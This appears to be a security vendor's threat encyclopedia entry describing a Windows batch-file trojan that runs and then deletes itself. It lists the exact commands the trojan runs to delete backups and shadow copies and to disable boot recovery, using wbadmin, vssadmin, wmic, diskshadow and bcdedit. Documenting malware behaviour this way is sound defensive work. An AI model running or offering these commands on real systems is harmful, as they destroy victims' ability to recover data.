Analysis by: Clive Fuentebella
 ALIASES:

Trojan.Script.Agent.cr (KASPERSKY)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes then deletes itself afterward.

  TECHNICAL DETAILS

Tipo de compactação: 707 bytes
Tipo de arquivo: BAT
Residente na memória: No

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • {Current directory}\sc.txt

It adds the following processes:

  • wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0
  • wbadmin DELETE BACKUP -keepVersions:0
  • wmic SHADOWCOPY DELETE
  • vssadmin Delete Shadows /All /Quiet
  • bcdedit /set {default} recoveryenabled No
  • bcdedit /set {default} bootstatuspolicy ignoreallfailures
  • vssadmin list shadows
  • cmd.exe /C wbadmin STOP job
  • cmd.exe /C wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0 -quiet
  • cmd.exe /C wbadmin DELETE CATALOG -quiet
  • cmd.exe /C wbadmin DISABLE backup
  • cmd.exe /C bcdedit /set {default} recoveryenabled No
  • cmd.exe /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
  • cd "{Current directory}"
  • echo delete shadows all>>sc.txt
  • echo exit>>sc.txt
  • cmd.exe /C diskshadow -s sc.txt
  • del /f "{Current directory}\sc.txt"
  • pause
  • del %0

It executes then deletes itself afterward.